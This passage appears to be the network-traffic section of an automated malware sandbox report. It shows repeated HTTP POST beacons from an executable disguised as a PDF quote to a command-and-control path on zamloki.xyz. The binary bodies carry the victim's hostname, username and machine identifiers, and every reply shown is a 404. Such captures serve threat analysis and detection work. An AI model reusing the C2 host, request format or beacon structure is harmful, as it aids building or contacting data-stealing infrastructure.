Aug 4, 2021 13:57:09.923923969 CEST	6172	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:09.943892002 CEST	6173	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:10.175952911 CEST	6173	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PWwJK%2FCF3VJNkgICC%2FeZG2AbGJLM5aDT%2FfvA44BUGyRmuFKkhINalGB4knw0E7%2Bs8WNvVBf0AuKTxpIjLWK%2B0wlA4hr8WnnHkXfH0DPa%2Bn0M8uMdNKIo6sHUeg3NJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b491e064e7a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
135	192.168.2.5	49853	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:10.415662050 CEST	6174	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:10.434689999 CEST	6174	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:10.685583115 CEST	6175	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:10 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=19dVlsrWir2a69WcZ47DnULRGDVhk8ExbtB3SG1dRJlq8G7%2B3MbIMNQr6OqDOkVGGwSQ%2B8ZFMvoivKLwbQZRpqxSRZuhhvvEqG1nmKFapAEt7GTfBAwWhy%2B2c%2FGh0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b4c2b5c1f31-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.5	49854	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:10.928805113 CEST	6176	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:10.946243048 CEST	6176	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:11.194677114 CEST	6177	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ozzca%2F0fb8iAYOIOMhSKoRP1EEOz26b0Yq6Tnl1rEc%2FTO2c8Gc46vOrDoBV41CEL3rCb9sj2IkYLlIwec3MN5lXuBESdEfMI8DdLV3GGLJeejCJVCz5mMYx5S5Fj8w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b4f6f2c5369-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.5	49855	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:11.435950041 CEST	6178	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:11.453643084 CEST	6178	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:11.711925030 CEST	6179	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:11 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XP2YWpD0FmlXYYMpGnmVkKl7UA%2Bv9Oq2RXP4ZhqmoDoH8E1aTBrfSN318I%2FlVZRmYzL47h7gC%2F6BSDW8DlTlart4RDQwQZSbkvqmf9s5%2FXJ0CaqjkdZNo99tIPdWuQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b528cd84a74-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.5	49856	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:11.956007957 CEST	6180	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:11.973130941 CEST	6180	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:12.221829891 CEST	6181	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=eqRRi%2Bvfei0glsg1haOyjPprLWTxX1jFeyqB0ENNIH2HwtDvH%2F2EkrbYzGLW8GLXS8V8%2FJ8DM4R0NEO7rDP%2BBMKskNcQK%2B7McuODe3VMMWci%2BRyJyPrQWuuPW1H%2Faw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b55c961dfb7-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.5	49857	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:12.437148094 CEST	6182	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:12.456599951 CEST	6182	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:12.712985039 CEST	6183	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:12 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XbcXVFT1AMvtu1TFv%2FCXEsZ1SVysfC2NDwVfssQNeM8y8Au15AO5U%2FN8%2BET%2BHEWBfWOp7bjC%2B1wvHZmjeCJyWXTO8vh9Gf1xg6j3PjnUmJ1Gkae2prH0a%2FcVW1R0EQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b58cb8ec29a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49727	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:55:58.751905918 CEST	1442	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:55:58.770642996 CEST	1442	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:55:59.003463030 CEST	1444	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:55:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Nby%2BZi2eYlUUewGQZKOjoP5ay%2FgjfDJYtWr5haPaG4SrE0AcAyLHftrJdJ8J2elppkcyK4olTf1fqVXbDxQY35xzwFrhWXDM%2BMSlWplmPDqfTR9aU7XTi%2FTrTbDQWw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6797998c49d11f2d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.5	49858	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:12.946620941 CEST	6184	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:12.965658903 CEST	6184	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:13.234055996 CEST	6185	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=T1%2BfGCijt9H8jU0AvUJhSICz8cBSKhFTKKA%2FFAZFE3KqivR8y6X10a4nLWwZDXSK2P2QbhrIIO3AqH6M2%2F9xYQ3I3b8jYKShFT27T7knTn%2FKurJPa%2Bja91vifngvGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b5bfa4642fd-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.5	49859	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:13.477783918 CEST	6185	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:13.496697903 CEST	6186	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:13.737718105 CEST	6186	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:13 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zN9AQh1INlXqRx9neB3PLeqJ8U%2FOngkBkWcO%2F6tA476xMVpLoG%2FAeHPV50PHoGz5Z%2FVrh3au5KQyzGW%2B0zTZewhKvSg2rKhznfKC0P0Vudeaz9tgAupIa33LdKRv2Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b5f4e854e98-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.5	49860	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:13.985964060 CEST	6187	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:14.005821943 CEST	6188	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:14.291867018 CEST	6188	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=UKfcUI4VoFGgkw0XwG%2FghSJZmje3Yo8dRW607F%2B2TLTvrl%2BM50ufNk6EgC10ITghpeCwhNBD3%2FvzByJjv8Y22ZTmlaacBY72%2FAKbt9M5SVk9R2vO5CTzsCWLbu2niw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b627b414de8-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.5	49861	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:14.538705111 CEST	6189	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:14.557390928 CEST	6189	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:14.801084995 CEST	6190	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:14 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=HweKWLGJRMR6bvtibkK2YTv5qY9ab84VB5scUr81nse0vBnXKsJuXoLGitne9%2B0ps6Rz9keg5ija8px%2BdhNSG%2BMvRg%2B%2BJheCDaTl5dSJ60IlU6vfOvVZECHXpkdPsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b65eab84e8b-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.5	49862	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:15.040725946 CEST	6191	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:15.058413982 CEST	6191	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:15.300916910 CEST	6192	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4Xax7eFE%2Bc8llejt6YqaS8e4mOyArjXZtbn1MTNV1MJfsSy2KK0nJEkOVxuRu5R6ZWakr9EqQ2Hox7k6aMOVxbiAQoKz24e8Nmotd%2FhCf%2F%2B65rTnpjwQRbGR4rFa3Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b6908314ec7-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.5	49863	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:15.532512903 CEST	6193	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:15.552090883 CEST	6193	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:15.823664904 CEST	6194	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:15 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Q2yc9WZuqSuw8yIHRyWXQn8yEkzjR2jngXadwcqIxL%2B%2FZlJNUc%2FP6XsOVvIV8g%2FKzqGf2GnkQIVo0vesZu%2BiOIICx2uoUF109oA%2FlRFaDtGrniurO1zRFQggxUhmHg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b6c29802bca-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.5	49864	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:16.050123930 CEST	6195	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:16.067411900 CEST	6195	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Aug 4, 2021 13:57:16.310225010 CEST	6196	IN	HTTP/1.1 404 Not Found Date: Wed, 04 Aug 2021 11:57:16 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=kM4ITgfaU%2Fp%2FCtQJA3IyRc8JjcLCFMc%2F69dhuN%2FKlGaOjAc4KsKnO4Sjqw3y8VUPMAkaTBGMh8Ayn3zdbxKcqgVnRPLrMNNN8OwhAz8itDZvFADlFNKWmtyk1u1P%2BQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 67979b6f5e7443b8-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.5	49865	172.67.155.45	80	C:\Users\user\Desktop\Cotizaci#U00f3n-20210803.pdf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 4, 2021 13:57:16.549231052 CEST	6197	OUT	POST /des/co/tox.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: zamloki.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A3C8092 Content-Length: 165 Connection: close
Aug 4, 2021 13:57:16.568789005 CEST	6197	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0c 00 00 00 61 00 6c 00 66 00 6f 00 6e 00 73 00 01 00 0c 00 00 00 33 00 36 00 37 00 37 00 30 00 36 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 Data Ascii: (ckav.rualfons367706DESKTOP-716T77108F9C4E9C79A3B52B3F739430
